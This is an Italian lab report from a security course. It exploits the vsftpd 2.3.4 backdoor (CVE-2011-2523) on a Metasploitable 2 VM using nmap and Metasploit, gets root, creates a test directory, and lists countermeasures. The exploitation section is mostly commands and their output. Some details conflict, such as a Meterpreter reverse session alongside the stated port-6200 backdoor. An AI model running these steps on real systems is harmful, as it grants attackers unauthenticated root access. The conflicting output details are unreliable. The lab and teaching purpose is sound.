

# Report Authentication Cracking con Metasploit

## S7L1

| Macchina         | Ruolo      | IP            | Servizi               |
|------------------|------------|---------------|-----------------------|
| Kali Linux       | Attaccante | 192.168.5.19  | Metasploit, Nmap      |
| Metasploitable 2 | Target     | 192.168.5.149 | FTP/21 (vsftpd 2.3.4) |

### 1. Obiettivo

L'obiettivo dell'esercitazione è condurre una sessione di penetration testing controllata su una macchina virtuale Metasploitable, sfruttando la backdoor nota presente nel servizio FTP **vsftpd versione 2.3.4**. L'obiettivo finale è ottenere una sessione Meterpreter con privilegi di root e dimostrare il pieno controllo della macchina target creando una directory nella root del filesystem (**/test\_metasploit**).

**Nota:** Tutte le tecniche sono state applicate esclusivamente in ambiente UTM locale controllato. Nessun sistema esterno è stato coinvolto. L'esercitazione è svolta a fini didattici nell'ambito del corso

### 2. Configurazione dell'Ambiente

|                 |                                   |
|-----------------|-----------------------------------|
| Rete            | 192.168.5.0/24                    |
| Gateway         | 192.168.5.1                       |
| Attaccante      | Kali Linux - 192.168.5.19         |
| Target          | Metasploitable 2 - 192.168.5.149  |
| Hypervisor      | UTM su macOS (Apple Silicon)      |
| Tool principale | Metasploit Framework v6.4.116-dev |

### 3. Fase 1 Reconnaissance con Nmap

#### Step 1 Verifica connettività e scansione servizi

Prima di procedere con l'exploit, è stata verificata la raggiungibilità della macchina target tramite ping, e successivamente eseguita una scansione Nmap per identificare la versione esatta del servizio FTP in esecuzione.

```
ping 192.168.5.149
nmap -sV -p 21 192.168.5.149
```

La scansione ha confermato la presenza di **vsftpd 2.3.4** sulla porta 21, esattamente la versione affetta dalla backdoor CVE-2011-2523.

```
PORT STATE SERVICE VERSION
21/tcp open  ftp vsftpd 2.3.4
MAC Address: 46:54:CE:86:FA:C0
Service Info: OS: Unix
```

Nmap scan: vsftpd 2.3.4 confermato sulla porta 21

## 4. Fase 2 Exploitation con Metasploit

### Step 2 Avvio msfconsole e selezione modulo

Avviato **msfconsole** e ricercato il modulo corrispondente alla backdoor vsftpd. Tra i risultati sono stati trovati due moduli: un DoS (auxiliary) e l'exploit della backdoor con rank **excellent**.

```
msf > search vsftpd

# Name Disclosure Date Rank Check
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes

msf > use exploit/unix/ftp/vsftpd_234_backdoor
```

### Step 3 Configurazione parametri exploit

Configurati i parametri necessari per l'attacco: indirizzo del target (RHOSTS), indirizzo del listener locale (LHOST) e porta FTP (RPORT). Verificata la configurazione tramite **show options**.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.5.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.5.19
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

RHOSTS => 192.168.5.149
LHOST => 192.168.5.19
RPORT => 21
LPORT => 4444
```

### Step 4 Lancio exploit e apertura sessione Meterpreter

Eseguito il comando exploit, Metasploit ha triggerato la backdoor vsftpd aprendo una connessione sulla porta 6200 del target. La sessione Meterpreter è stata aperta con successo.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] Started reverse TCP handler on 192.168.5.19:4444
[+] 192.168.5.149:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened
(192.168.5.19:4444 -> 192.168.5.149:42090)

meterpreter >
```

Meterpreter session 1 opened: backdoor spawned con successo

## 5. Fase 3 Post-Exploitation

### Step 5 Apertura shell e creazione directory /test\_metasp

Dalla sessione Meterpreter è stata aperta una shell interattiva sulla macchina target. Verificata l'identità con `whoami` (root), è stata creata la directory richiesta nella root del filesystem e confermata la sua presenza tramite `ls /`.

```
meterpreter > shell
Process 4994 created.
Channel 1 created.

mkdir /test_metasploit
ls /

bin boot cdrom dev etc home initrd lib
lost+found media mnt opt proc root sbin
srv sys test_metasploit tmp usr var vmlinuz
```

Directory /test\_metasploit creata con successo nella root della macchina Metasploitable.

## 6. Vulnerabilità Sfruttata - CVE-2011-2523

|                        |                                                            |
|------------------------|------------------------------------------------------------|
| <b>CVE</b>             | CVE-2011-2523                                              |
| <b>CVSS Score</b>      | 10.0 - Critical                                            |
| <b>Tipo</b>            | Backdoor / Remote Code Execution (RCE)                     |
| <b>Vettore</b>         | Porta TCP 21 (FTP) → backdoor TCP 6200                     |
| <b>Rank Metasploit</b> | excellent                                                  |
| <b>Privilegi</b>       | root (UID 0) - nessuna credenziale richiesta               |
| <b>Data scoperta</b>   | Luglio 2011 - supply chain attack sul repository ufficiale |

La backdoor si attiva inviando uno username FTP terminante con ':' (smiley). In risposta, vsftpd apre una shell root in ascolto sulla porta TCP 6200, concedendo accesso immediato senza autenticazione.

## 7. Flusso Completo dell'Esercitazione

| # | Target         | Fase                         | Risultato                           |
|---|----------------|------------------------------|-------------------------------------|
| 1 | Metasploitable | ping + nmap -sV -p 21        | vsftpd 2.3.4 confermato             |
| 2 | Metasploitable | search vsftpd in msfconsole  | Modulo vsftpd_234_backdoor trovato  |
| 3 | Metasploitable | use + set RHOSTS/LHOST/RPORT | Parametri configurati correttamente |

|   |                |                                |                                                |
|---|----------------|--------------------------------|------------------------------------------------|
| 4 | Metasploitable | exploit / run                  | Backdoor spawned - sessione Meterpreter aperta |
| 5 | Metasploitable | shell → mkdir /test_metasploit | Directory creata - root confermato             |

## 8. Conclusioni

L'esercitazione ha dimostrato come una vulnerabilità critica di tipo backdoor possa consentire a un attaccante di ottenere il pieno controllo di un sistema remoto senza necessità di credenziali valide. La backdoor in vsftpd 2.3.4 rappresenta un caso storico di **supply chain attack**, in cui il codice malevolo fu introdotto direttamente nel repository ufficiale del progetto.

| Vulnerabilità                | Gravità | Contromisura                                        |
|------------------------------|---------|-----------------------------------------------------|
| Backdoor vsftpd 2.3.4 attiva | Critica | Aggiornare vsftpd all'ultima versione stabile       |
| Porta TCP 6200 non filtrata  | Alta    | Bloccare porta 6200 con firewall in ingresso/uscita |
| Nessun IDS/IPS attivo        | Media   | Implementare Snort/Suricata per rilevare anomalie   |
| OS e servizi non aggiornati  | Alta    | Applicare patch di sicurezza regolarmente           |
| FTP in chiaro (no TLS)       | Media   | Sostituire FTP con SFTP o FTPS                      |

**DISCLAIMER:** Tutte le tecniche descritte sono state applicate esclusivamente in ambiente virtuale locale a fini didattici. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).